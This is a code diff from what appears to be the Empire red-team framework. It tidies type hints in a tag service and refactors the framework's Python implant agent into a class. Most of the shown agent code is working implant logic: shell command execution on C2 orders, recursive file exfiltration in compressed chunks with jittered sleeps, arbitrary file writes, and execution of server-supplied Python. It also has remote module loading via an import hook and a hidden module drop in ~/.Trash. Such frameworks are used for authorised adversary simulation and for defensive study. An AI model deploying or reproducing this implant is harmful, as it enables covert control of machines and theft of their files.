+++ b/empire/server/core/tag_service.py
@@ -1,5 +1,4 @@
import logging
-from typing import List, Optional, Union
from sqlalchemy import func, or_
from sqlalchemy.orm import Session
@@ -11,6 +10,15 @@
log = logging.getLogger(__name__)
+Taggable = (
+ models.Listener
+ | models.Agent
+ | models.AgentTask
+ | models.PluginTask
+ | models.Credential
+ | models.Download
+)
+
class TagService:
def __init__(self, main_menu):
@@ -22,7 +30,7 @@ def get_by_id(self, db: Session, tag_id: int):
def get_all(
self,
db: Session,
- tag_types: Optional[List[TagSourceFilter]],
+ tag_types: list[TagSourceFilter] | None,
q: str,
limit: int = -1,
offset: int = 0,
@@ -81,21 +89,14 @@ def get_all(
results = query.all()
total = 0 if len(results) == 0 else results[0].total
- results = list(map(lambda x: x[0], results))
+ results = [x[0] for x in results]
return results, total
def add_tag(
self,
db: Session,
- taggable: Union[
- models.Listener,
- models.Agent,
- models.AgentTask,
- models.PluginTask,
- models.Credential,
- models.Download,
- ],
+ taggable: Taggable,
tag_req,
):
tag = models.Tag(name=tag_req.name, value=tag_req.value, color=tag_req.color)
@@ -110,14 +111,7 @@ def update_tag(
self,
db: Session,
db_tag: models.Tag,
- taggable: Union[
- models.Listener,
- models.Agent,
- models.AgentTask,
- models.PluginTask,
- models.Credential,
- models.Download,
- ],
+ taggable: Taggable,
tag_req,
):
db_tag.name = tag_req.name
@@ -132,14 +126,7 @@ def update_tag(
def delete_tag(
self,
db: Session,
- taggable: Union[
- models.Listener,
- models.Agent,
- models.AgentTask,
- models.PluginTask,
- models.Credential,
- models.Download,
- ],
+ taggable: Taggable,
tag_id: int,
):
if tag_id in [tag.id for tag in taggable.tags]:
diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py
index 4983ddd0d..f0e3a5cf4 100644
--- a/empire/server/data/agent/agent.py
+++ b/empire/server/data/agent/agent.py
@@ -4,9 +4,9 @@
import http.server
import io
import json
-import math
import numbers
import os
+import platform
import pwd
import random
import re
@@ -18,6 +18,7 @@
import sys
import threading
import time
+import traceback
import types
import zipfile
import zlib
@@ -30,416 +31,560 @@
# agent configuration information
#
################################################
-
-# print "starting agent"
-
-# profile format ->
-# tasking uris | user agent | additional header 1 | additional header 2 | ...
-profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
-
-if server.endswith("/"):
- server = server[0:-1]
-
-delay = 60
-jitter = 0.0
-lostLimit = 60
-missedCheckins = 0
-jobMessageBuffer = ""
-currentListenerName = ""
-sendMsgFuncCode = ""
-proxy_list = []
-
-# killDate form -> "MO/DAY/YEAR"
-killDate = "REPLACE_KILLDATE"
-# workingHours form -> "9:00-17:00"
-workingHours = "REPLACE_WORKINGHOURS"
-
-parts = profile.split("|")
-taskURIs = parts[0].split(",")
-userAgent = parts[1]
-headersRaw = parts[2:]
-
-defaultResponse = base64.b64decode("")
-
-jobs = {}
moduleRepo = {}
_meta_cache = {}
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)}
-headers = {"User-Agent": userAgent}
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey, headerValue = headerRaw.split(":")[:2]
+def old_div(a, b):
+ """
+ Equivalent to ``a / b`` on Python 2 without ``from __future__ import
+ division``.
+ """
+ if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral):
+ return a // b
+ else:
+ return a / b
- if headerKey.lower() == "cookie":
- headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue)
- else:
- headers[headerKey] = headerValue
- except:
- pass
################################################
#
-# encryption methods
+# Custom Import Hook
+# #adapted from https://github.com/sulinx/remote_importer
#
################################################
-def decode_routing_packet(data):
- """
- Parse ALL routing packets and only process the ones applicable
- to this agent.
- """
- # returns {sessionID : (language, meta, additional, [encData]), ...}
- packets = parse_routing_packet(stagingKey, data)
- if packets is None:
- return
- for agentID, packet in packets.items():
- if agentID == sessionID:
- (language, meta, additional, encData) = packet
- # if meta == 'SERVER_RESPONSE':
- process_tasking(encData)
- else:
- # TODO: how to handle forwarding on other agent routing packets?
- pass
-
-
-def build_response_packet(taskingID, packetData, resultID=0):
- """
- Build a task packet for an agent.
-
- [2 bytes] - type
- [2 bytes] - total # of packets
- [2 bytes] - packet #
- [2 bytes] - task/result ID
- [4 bytes] - length
- [X...] - result data
-
- +------+--------------------+----------+---------+--------+-----------+
- | Type | total # of packets | packet # | task ID | Length | task data |
- +------+--------------------+--------------------+--------+-----------+
- | 2 | 2 | 2 | 2 | 4 | |
- +------+--------------------+----------+---------+--------+-----------+
- """
- packetType = struct.pack("=H", taskingID)
- totalPacket = struct.pack("=H", 1)
- packetNum = struct.pack("=H", 1)
- resultID = struct.pack("=H", resultID)
-
- if packetData:
- if isinstance(packetData, str):
- packetData = base64.b64encode(packetData.encode("utf-8", "ignore"))
- else:
- packetData = base64.b64encode(
- packetData.decode("utf-8").encode("utf-8", "ignore")
- )
- if len(packetData) % 4:
- packetData += "=" * (4 - len(packetData) % 4)
-
- length = struct.pack("=L", len(packetData))
- return packetType + totalPacket + packetNum + resultID + length + packetData
- else:
- length = struct.pack("=L", 0)
- return packetType + totalPacket + packetNum + resultID + length
+# [0] = .py ext, is_package = False
+# [1] = /__init__.py ext, is_package = True
+_search_order = [(".py", False), ("/__init__.py", True)]
-def parse_task_packet(packet, offset=0):
- """
- Parse a result packet-
- [2 bytes] - type
- [2 bytes] - total # of packets
- [2 bytes] - packet #
- [2 bytes] - task/result ID
- [4 bytes] - length
- [X...] - result data
+class ZipImportError(ImportError):
+ """Exception raised by zipimporter objects."""
+ pass
- +------+--------------------+----------+---------+--------+-----------+
- | Type | total # of packets | packet # | task ID | Length | task data |
- +------+--------------------+--------------------+--------+-----------+
- | 2 | 2 | 2 | 2 | 4 | |
- +------+--------------------+----------+---------+--------+-----------+
- Returns a tuple with (responseName, length, data, remainingData)
+# _get_info() = takes the fullname, then subpackage name (if applicable),
+# and searches for the respective module or package
- Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData)
- """
- try:
- packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0]
- totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0]
- packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0]
- resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0]
- length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0]
- packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length]
- remainingData = packet.decode("UTF-8")[12 + offset + length :]
-
- return (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- packetData,
- remainingData,
- )
- except Exception as e:
- print("parse_task_packet exception:", e)
- return (None, None, None, None, None, None, None)
-
-
-def process_tasking(data):
- # processes an encrypted data packet
- # -decrypts/verifies the response to get
- # -extracts the packets and processes each
- try:
- # aes_decrypt_and_verify is in stager.py
- tasking = aes_decrypt_and_verify(key, data).encode("UTF-8")
-
- (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- data,
- remainingData,
- ) = parse_task_packet(tasking)
-
- # if we get to this point, we have a legit tasking so reset missedCheckins
- missedCheckins = 0
-
- # execute/process the packets and get any response
- resultPackets = ""
- result = process_packet(packetType, data, resultID)
-
- if result:
- resultPackets += result
-
- packetOffset = 12 + length
- while remainingData and remainingData != "":
- (
- packetType,
- totalPacket,
- packetNum,
- resultID,
- length,
- data,
- remainingData,
- ) = parse_task_packet(tasking, offset=packetOffset)
- result = process_packet(packetType, data, resultID)
- if result:
- resultPackets += result
- packetOffset += 12 + length
+class CFinder(object):
+ """Import Hook for Empire"""
- # send_message() is patched in from the listener module
- send_message(resultPackets)
+ def __init__(self, repoName):
+ self.repoName = repoName
- except Exception as e:
- # print "processTasking exception:",e
- pass
+ def _get_info(self, repoName, fullname):
+ """Search for the respective package or module in the zipfile object"""
+ parts = fullname.split(".")
+ submodule = parts[-1]
+ modulepath = "/".join(parts)
+ # check to see if that specific module exists
+ for suffix, is_package in _search_order:
+ relpath = modulepath + suffix
+ try:
+ moduleRepo[repoName].getinfo(relpath)
+ except KeyError:
+ pass
+ else:
+ return submodule, is_package, relpath
-def process_job_tasking(result):
- # process job data packets
- # - returns to the C2
- # execute/process the packets and get any response
- try:
- resultPackets = b""
- if result:
- resultPackets += result
- # send packets
- send_message(resultPackets)
- except Exception as e:
- print("processJobTasking exception:", e)
- pass
+ # Error out if we can find the module/package
+ msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
+ raise ZipImportError(msg)
+ def _get_source(self, repoName, fullname):
+ """Get the source code for the requested module"""
+ submodule, is_package, relpath = self._get_info(repoName, fullname)
+ fullpath = "%s/%s" % (repoName, relpath)
+ source = moduleRepo[repoName].read(relpath)
+ source = source.replace("\r\n", "\n")
+ source = source.replace("\r", "\n")
+ return submodule, is_package, fullpath, source
-def process_packet(packetType, data, resultID):
- try:
- packetType = int(packetType)
- except Exception as e:
- return None
- if packetType == 1:
- # sysinfo request
- # get_sysinfo should be exposed from stager.py
- send_message(build_response_packet(1, get_sysinfo(), resultID))
+ def find_module(self, fullname, path=None):
- elif packetType == 2:
- # agent exit
- send_message(build_response_packet(2, "", resultID))
- agent_exit()
+ try:
+ submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ except ImportError:
+ return None
+ else:
+ return self
- elif packetType == 34:
- proxy_list = json.loads(data)
- update_proxychain(proxy_list)
+ def load_module(self, fullname):
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ code = compile(source, fullpath, "exec")
+ mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
+ mod.__loader__ = self
+ mod.__file__ = fullpath
+ mod.__name__ = fullname
+ if is_package:
+ mod.__path__ = [os.path.dirname(mod.__file__)]
+ exec(code, mod.__dict__)
+ return mod
- elif packetType == 40:
- # run a command
- parts = data.split(" ")
- if len(parts) == 1:
- data = parts[0]
- resultData = str(run_command(data))
- send_message(build_response_packet(40, resultData, resultID))
- else:
- cmd = parts[0]
- cmdargs = " ".join(parts[1 : len(parts)])
- resultData = str(run_command(cmd, cmdargs=cmdargs))
- send_message(build_response_packet(40, resultData, resultID))
+ def get_data(self, fullpath):
- elif packetType == 41:
- # file download
- objPath = os.path.abspath(data)
- fileList = []
- if not os.path.exists(objPath):
- send_message(
- build_response_packet(
- 40, "file does not exist or cannot be accessed", resultID
- )
+ prefix = os.path.join(self.repoName, "")
+ if not fullpath.startswith(prefix):
+ raise IOError(
+ "Path %r does not start with module name %r", (fullpath, prefix)
)
+ relpath = fullpath[len(prefix) :]
+ try:
+ return moduleRepo[self.repoName].read(relpath)
+ except KeyError:
+ raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
- if not os.path.isdir(objPath):
- fileList.append(objPath)
- else:
- # recursive dir listing
- for folder, subs, files in os.walk(objPath):
- for filename in files:
- # dont care about symlinks
- if os.path.exists(objPath):
- fileList.append(objPath + "/" + filename)
-
- for filePath in fileList:
- offset = 0
- size = os.path.getsize(filePath)
- partIndex = 0
+ def is_package(self, fullname):
+ """Return if the module is a package"""
+ submodule, is_package, relpath = self._get_info(self.repoName, fullname)
+ return is_package
- while True:
+ def get_code(self, fullname):
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ return compile(source, fullpath, "exec")
- # get 512kb of the given file starting at the specified offset
- encodedPart = get_file_part(filePath, offset=offset, base64=False)
- c = compress()
- start_crc32 = c.crc32_data(encodedPart)
- comp_data = c.comp_data(encodedPart)
- encodedPart = c.build_header(comp_data, start_crc32)
- encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
+ def install_hook(repoName):
+ if repoName not in _meta_cache:
+ finder = CFinder(repoName)
+ _meta_cache[repoName] = finder
+ sys.meta_path.append(finder)
- partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart)
- if not encodedPart or encodedPart == "" or len(encodedPart) == 16:
- break
+ def remove_hook(repoName):
+ if repoName in _meta_cache:
+ finder = _meta_cache.pop(repoName)
+ sys.meta_path.remove(finder)
- send_message(build_response_packet(41, partData, resultID))
- global delay
- global jitter
- time.sleep(sleep_time(jitter))
- partIndex += 1
- offset += 512000
+################################################
+#
+# Socks Server
+#
+################################################
- elif packetType == 42:
- # file upload
- try:
- parts = data.split("|")
- filePath = parts[0]
- base64part = parts[1]
- raw = base64.b64decode(base64part)
- with open(filePath, "ab") as f:
- f.write(raw)
- send_message(
- build_response_packet(
- 42, "[*] Upload of %s successful" % (filePath), resultID
- )
- )
- except Exception as e:
- send_message(
- build_response_packet(
- 0,
- "[!] Error in writing file %s during upload: %s"
- % (filePath, str(e)),
- resultID,
- )
- )
- elif packetType == 43:
- # directory list
- cmdargs = data
+################################################
+#
+# misc methods
+#
+################################################
+class compress(object):
+ """
+ Base clase for init of the package. This will handle
+ the initial object creation for conducting basic functions.
+ """
- path = "/" # default to root
- if (
- cmdargs is not None and cmdargs != "" and cmdargs != "/"
- ): # strip trailing slash for uniformity
- path = cmdargs.rstrip("/")
- if path[0] != "/": # always scan relative to root for uniformity
- path = "/{0}".format(path)
- if not os.path.isdir(path):
- send_message(
- build_response_packet(
- 43, "Directory {} not found.".format(path), resultID
- )
- )
- items = []
- with os.scandir(path) as it:
- for entry in it:
- items.append(
- {"path": entry.path, "name": entry.name, "is_file": entry.is_file()}
- )
+ CRC_HSIZE = 4
+ COMP_RATIO = 9
- result_data = json.dumps(
- {
- "directory_name": path if len(path) == 1 else path.split("/")[-1],
- "directory_path": path,
- "items": items,
- }
- )
+ def __init__(self, verbose=False):
+ """
+ Populates init.
+ """
+ pass
- send_message(build_response_packet(43, result_data, resultID))
+ def comp_data(self, data, cvalue=COMP_RATIO):
+ """
+ Takes in a string and computes
+ the comp obj.
+ data = string wanting compression
+ cvalue = 0-9 comp value (default 6)
+ """
+ cdata = zlib.compress(data, cvalue)
+ return cdata
- elif packetType == 44:
- # run csharp module in ironpython using reflection
- send_message(
- build_response_packet(
- 60, "[!] C# module execution not implemented", resultID
- )
- )
+ def crc32_data(self, data):
+ """
+ Takes in a string and computes crc32 value.
+ data = string before compression
+ returns:
+ HEX bytes of data
+ """
+ crc = zlib.crc32(data) & 0xFFFFFFFF
+ return crc
- elif packetType == 50:
- # return the currently running jobs
- msg = "Active jobs:\n"
+ def build_header(self, data, crc):
+ """
+ Takes comp data, org crc32 value,
+ and adds self header.
+ data = comp data
+ crc = crc32 value
+ """
+ header = struct.pack("!I", crc)
+ built_data = header + data
+ return built_data
- for key in jobs:
- msg += "Task %s" % key
- send_message(build_response_packet(50, msg, resultID))
- elif packetType == 51:
- # stop and remove a specified job if it's running
- try:
- jobs[int(data)].kill()
- jobs.pop(int(data))
- send_message(
- build_response_packet(
- 51, "[+] Job thread %s stopped successfully" % (data), resultID
- )
+class decompress(object):
+ """
+ Base clase for init of the package. This will handle
+ the initial object creation for conducting basic functions.
+ """
+
+ CRC_HSIZE = 4
+ COMP_RATIO = 9
+
+ def __init__(self, verbose=False):
+ """
+ Populates init.
+ """
+ pass
+
+ def dec_data(self, data, cheader=True):
+ """
+ Takes:
+ Custom / standard header data
+ data = comp data with zlib header
+ BOOL cheader = passing custom crc32 header
+ returns:
+ dict with crc32 cheack and dec data string
+ ex. {"crc32" : true, "dec_data" : "-SNIP-"}
+ """
+ if cheader:
+ comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
+ dec_data = zlib.decompress(data[self.CRC_HSIZE :])
+ dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
+ if comp_crc32 == dec_crc32:
+ crc32 = True
+ else:
+ crc32 = False
+ return {
+ "header_crc32": comp_crc32,
+ "dec_crc32": dec_crc32,
+ "crc32_check": crc32,
+ "data": dec_data,
+ }
+ else:
+ dec_data = zlib.decompress(data)
+ return dec_data
+
+
+def indent(lines, amount=4, ch=" "):
+ padding = amount * ch
+ return padding + ("\n" + padding).join(lines.split("\n"))
+
+
+# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
+class ThreadWithReturnValue(Thread):
+ def __init__(
+ self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
+ ):
+ Thread.__init__(self, group, target, name, args, kwargs, Verbose)
+ self._return = None
+
+ def run(self):
+ if self._Thread__target is not None:
+ self._return = self._Thread__target(
+ *self._Thread__args, **self._Thread__kwargs
+ )
+
+ def join(self):
+ Thread.join(self)
+ return self._return
+
+
+class KThread(threading.Thread):
+ """A subclass of threading.Thread, with a kill()
+ method."""
+
+ def __init__(self, *args, **keywords):
+ threading.Thread.__init__(self, *args, **keywords)
+ self.killed = False
+
+ def start(self):
+ """Start the thread."""
+ self.__run_backup = self.run
+ self.run = self.__run # Force the Thread to install our trace.
+ threading.Thread.start(self)
+
+ def __run(self):
+ """Hacked run function, which installs the
+ trace."""
+ sys.settrace(self.globaltrace)
+ self.__run_backup()
+ self.run = self.__run_backup
+
+ def globaltrace(self, frame, why, arg):
+ if why == "call":
+ return self.localtrace
+ else:
+ return None
+
+ def localtrace(self, frame, why, arg):
+ if self.killed:
+ if why == "line":
+ raise SystemExit()
+ return self.localtrace
+
+ def kill(self):
+ self.killed = True
+
+
+class MainAgent:
+ def __init__(self,
+ packet_handler,
+ profile,
+ server,
+ session_id,
+ kill_date,
+ working_hours,
+ delay=60,
+ jitter=0.0,
+ lost_limit=60
+ ):
+
+ if server.endswith("/"):
+ server = server[0:-1]
+ self.server = server.rstrip("/")
+
+ # Functions that need to be passed in
+ # self.packet_handler = ExtendedPacketHandler(self, staging_key=staging_key, session_id=session_id, key=key)
+ self.packet_handler = packet_handler
+ self.profile = profile
+ self.delay = delay
+ self.jitter = jitter
+ self.lostLimit = lost_limit
+ self.kill_date = kill_date
+ self.working_hours = working_hours
+ self.defaultResponse = base64.b64decode("")
+ self.packet_handler.missedCheckins = 0
+ self.sessionID = session_id
+ self.jobMessageBuffer = ""
+ self.socksthread = False
+ self.socksqueue = None
+ self.jobs = {}
+
+ parts = self.profile.split("|")
+ self.userAgent = parts[1]
+ headersRaw = parts[2:]
+
+ self.headers = {"User-Agent": self.userAgent}
+
+ for headerRaw in headersRaw:
+ try:
+ headerKey = headerRaw.split(":")[0]
+ headerValue = headerRaw.split(":")[1]
+
+ if headerKey.lower() == "cookie":
+ self.headers["Cookie"] = "%s;%s" % (self.headers["Cookie"], headerValue)
+ else:
+ self.headers[headerKey] = headerValue
+ except:
+ pass
+
+ def agent_exit(self):
+ # exit for proper job / thread cleanup
+ if len(self.jobs) > 0:
+ try:
+ for x in self.jobs:
+ self.jobs[x].kill()
+ self.jobs.pop(x)
+ except:
+ # die hard if thread kill fails
+ pass
+ sys.exit()
+
+ def send_job_message_buffer(self):
+ if len(self.jobs) > 0:
+ result = self.get_job_message_buffer()
+ self.packet_handler.process_job_tasking(result)
+ else:
+ pass
+
+ def run_prebuilt_command(self, data, resultID):
+ """
+ Run a command on the system and return the results.
+ Task 40
+ """
+ parts = data.split(" ")
+ if len(parts) == 1:
+ data = parts[0]
+ resultData = str(self.run_command(data))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID))
+ else:
+ cmd = parts[0]
+ cmdargs = " ".join(parts[1: len(parts)])
+ resultData = str(self.run_command(cmd, cmdargs=cmdargs))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID))
+
+ def file_download(self, data, resultID):
+ """
+ Download a file from the server.
+ Task 41
+ """
+ objPath = os.path.abspath(data)
+ fileList = []
+ if not os.path.exists(objPath):
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 40, "file does not exist or cannot be accessed", resultID
+ )
+ )
+
+ if not os.path.isdir(objPath):
+ fileList.append(objPath)
+ else:
+ # recursive dir listing
+ for folder, subs, files in os.walk(objPath):
+ for filename in files:
+ # dont care about symlinks
+ if os.path.exists(objPath):
+ fileList.append(objPath + "/" + filename)
+
+ for filePath in fileList:
+ offset = 0
+ size = os.path.getsize(filePath)
+ partIndex = 0
+
+ while True:
+
+ # get 512kb of the given file starting at the specified offset
+ encodedPart = self.get_file_part(filePath, offset=offset, base64=False)
+ c = compress()
+ start_crc32 = c.crc32_data(encodedPart)
+ comp_data = c.comp_data(encodedPart)
+ encodedPart = c.build_header(comp_data, start_crc32)
+ encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
+
+ partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart)
+ if not encodedPart or encodedPart == "" or len(encodedPart) == 16:
+ break
+
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID))
+
+ minSleep = int((1.0 - self.jitter) * self.delay)
+ maxSleep = int((1.0 + self.jitter) * self.delay)
+ sleepTime = random.randint(minSleep, maxSleep)
+ time.sleep(sleepTime)
+ partIndex += 1
+ offset += 512000
+
+ def file_upload(self, data, resultID):
+ """
+ Upload a file to the server.
+ Task 42
+ """
+ try:
+ parts = data.split("|")
+ filePath = parts[0]
+ base64part = parts[1]
+ raw = base64.b64decode(base64part)
+ with open(filePath, "ab") as f:
+ f.write(raw)
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 42, "[*] Upload of %s successful" % (filePath), resultID
+ )
)
except Exception as e:
- send_message(
- build_response_packet(
- 51, "[!] Error stopping job thread: %s" % (e), resultID
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 0,
+ "[!] Error in writing file %s during upload: %s"
+ % (filePath, str(e)),
+ resultID,
+ )
+ )
+
+ def directory_list(self, data, resultID):
+ """
+ List a directory on the target.
+ Task 43
+ """
+ cmdargs = data
+
+ path = "/" # default to root
+ if (
+ cmdargs is not None and cmdargs != "" and cmdargs != "/"
+ ): # strip trailing slash for uniformity
+ path = cmdargs.rstrip("/")
+ if path[0] != "/": # always scan relative to root for uniformity
+ path = "/{0}".format(path)
+ if not os.path.isdir(path):
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 43, "Directory {} not found.".format(path), resultID
)
)
+ items = []
+ with os.scandir(path) as it:
+ for entry in it:
+ items.append(
+ {"path": entry.path, "name": entry.name, "is_file": entry.is_file()}
+ )
- elif packetType == 60:
- send_message(
- build_response_packet(60, "[!] SOCKS server not implemented", resultID)
+ result_data = json.dumps(
+ {
+ "directory_name": path if len(path) == 1 else path.split("/")[-1],
+ "directory_path": path,
+ "items": items,
+ }
)
- elif packetType == 61:
- send_message(
- build_response_packet(0, "[!] SOCKS server data not implemented", resultID)
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID))
+
+ def csharp_execute(self, data, resultID):
+ """
+ Execute C# module in ironpython using reflection
+ Task 44
+ """
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 44, "[!] C# module execution not implemented", resultID
+ )
+ )
+
+ def job_list(self, resultID):
+ """
+ Return a list of all running agent.jobs.
+ Task 50
+ """
+ msg = "Active agent.jobs:\n"
+
+ for key in self.jobs:
+ msg += "Task %s" % key
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID))
+
+ def stop_job(self, jobID, resultID):
+ """
+ Stop a running job.
+ Task 51
+ """
+ try:
+ self.jobs[int(jobID)].kill()
+ self.jobs.pop(int(jobID))
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 51, "[+] Job thread %s stopped successfully" % (jobID), resultID
+ )
+ )
+ except Exception as e:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 51, "[!] Error stopping job thread: %s" % (e), resultID
+ )
+ )
+
+
+ def start_smb_pipe_server(self, data, resultID):
+ """
+ Start an SMB pipe server on the target.
+ Task 70
+ """
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(70, "[!] SMB server not support in Python agent", resultID)
)
- elif packetType == 100:
- # dynamic code execution, wait for output, don't save output
+ def dynamic_code_execute_wait_nosave(self, data, resultID):
+ """
+ Execute dynamic code and wait for the results without saving output.
+ Task 100
+ """
try:
buffer = StringIO()
sys.stdout = buffer
@@ -447,18 +592,21 @@ def process_packet(packetType, data, resultID):
exec(code_obj, globals())
sys.stdout = sys.__stdout__
results = buffer.getvalue()
- send_message(build_response_packet(100, str(results), resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- return build_response_packet(
+ return self.packet_handler.build_response_packet(
0,
"error executing specified Python data: %s \nBuffer data recovered:\n%s"
% (e, errorData),
resultID,
)
- elif packetType == 101:
- # dynamic code execution, wait for output, save output
+ def dynamic_code_execution_wait_save(self, data, resultID):
+ """
+ Execute dynamic code and wait for the results while saving output.
+ Task 101
+ """
prefix = data[0:15].strip()
extension = data[15:20].strip()
data = data[20:]
@@ -474,8 +622,8 @@ def process_packet(packetType, data, resultID):
comp_data = c.comp_data(results)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
101,
"{0: <15}".format(prefix)
+ "{0: <5}".format(extension)
@@ -486,8 +634,8 @@ def process_packet(packetType, data, resultID):
except Exception as e:
# Also return partial code that has been executed
errorData = buffer.getvalue()
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"error executing specified Python data %s \nBuffer data recovered:\n%s"
% (e, errorData),
@@ -495,8 +643,13 @@ def process_packet(packetType, data, resultID):
)
)
- elif packetType == 102:
- # on disk code execution for modules that require multiprocessing not supported by exec
+ def disk_code_execution_wait_save(self, data, resultID):
+ """
+ Execute on disk code and wait for the results while saving output.
+ For modules that require multiprocessing not supported by exec
+ Task 110
+ """
+ # todo: is this used?
try:
implantHome = expanduser("~") + "/.Trash/"
moduleName = ".mac-debug-data"
@@ -521,772 +674,603 @@ def process_packet(packetType, data, resultID):
result += "\n\nError removing module file, please verify path: " + str(
implantPath
)
- send_message(build_response_packet(100, str(result), resultID))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID))
except Exception as e:
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0,
"error executing specified Python data: %s \nError removing module file, please verify path: %s"
% (e, implantPath),
resultID,
)
)
- send_message(
- build_response_packet(
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
0, "error executing specified Python data: %s" % (e), resultID
)
)
- elif packetType == 110:
- start_job(data, resultID)
-
- elif packetType == 111:
- # TASK_CMD_JOB_SAVE
- # TODO: implement job structure
- pass
-
- elif packetType == 112:
- # powershell task
- send_message(
- build_response_packet(60, "[!] PowerShell tasks not implemented", resultID)
- )
-
- elif packetType == 118:
- # PowerShel Task - dynamic code execution, wait for output, don't save output
- send_message(
- build_response_packet(60, "[!] PowerShell tasks not implemented", resultID)
- )
-
- elif packetType == 119:
- pass
-
- elif packetType == 121:
- # base64 decode the script and execute
- script = base64.b64decode(data)
- try:
- buffer = StringIO()
- sys.stdout = buffer
- code_obj = compile(script, "", "exec")
- exec(code_obj, globals())
- sys.stdout = sys.__stdout__
- result = str(buffer.getvalue())
- send_message(build_response_packet(121, result, resultID))
- except Exception as e:
- errorData = str(buffer.getvalue())
- send_message(
- build_response_packet(
- 0,
- "error executing specified Python data %s \nBuffer data recovered:\n%s"
- % (e, errorData),
- resultID,
- )
- )
-
- elif packetType == 122:
- # base64 decode and decompress the data
- try:
- parts = data.split("|")
- base64part = parts[1]
- fileName = parts[0]
- raw = base64.b64decode(base64part)
- d = decompress()
- dec_data = d.dec_data(raw, cheader=True)
- if not dec_data["crc32_check"]:
- send_message(
- build_response_packet(
- 122, "Failed crc32_check during decompression", resultID
- )
- )
- except Exception as e:
- send_message(
- build_response_packet(
- 122, "Unable to decompress zip file: %s" % (e), resultID
- )
- )
-
- zdata = dec_data["data"]
- zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
- if fileName in list(moduleRepo.keys()):
- send_message(
- build_response_packet(
- 122, "%s module already exists" % (fileName), resultID
- )
- )
- else:
- moduleRepo[fileName] = zf
- install_hook(fileName)
- send_message(
- build_response_packet(
- 122, "Successfully imported %s" % (fileName), resultID
- )
- )
-
- elif packetType == 123:
- # view loaded modules
- repoName = data
- if repoName == "":
- loadedModules = "\nAll Repos\n"
- for key, value in list(moduleRepo.items()):
- loadedModules += "\n----" + key + "----\n"
- loadedModules += "\n".join(moduleRepo[key].namelist())
-
- send_message(build_response_packet(123, loadedModules, resultID))
- else:
- try:
- loadedModules = "\n----" + repoName + "----\n"
- loadedModules += "\n".join(moduleRepo[repoName].namelist())
- send_message(build_response_packet(123, loadedModules, resultID))
- except Exception as e:
- msg = "Unable to retrieve repo contents: %s" % (str(e))
- send_message(build_response_packet(123, msg, resultID))
-
- elif packetType == 124:
- # remove module
- repoName = data
- try:
- remove_hook(repoName)
- del moduleRepo[repoName]
- send_message(
- build_response_packet(
- 124, "Successfully remove repo: %s" % (repoName), resultID
- )
- )
- except Exception as e:
- send_message(
- build_response_packet(
- 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
- )
- )
-
- elif packetType == 130:
- # Dynamically update agent comms
- send_message(
- build_response_packet(
- 60, "[!] Switch agent comms not implemented", resultID
- )
- )
-
- elif packetType == 131:
- # Update the listener name variable
- send_message(
- build_response_packet(
- 60, "[!] Switch agent comms not implemented", resultID
- )
- )
-
- else:
- send_message(
- build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
- )
-
-
-def old_div(a, b):
- """
- Equivalent to ``a / b`` on Python 2 without ``from __future__ import
- division``.
- """
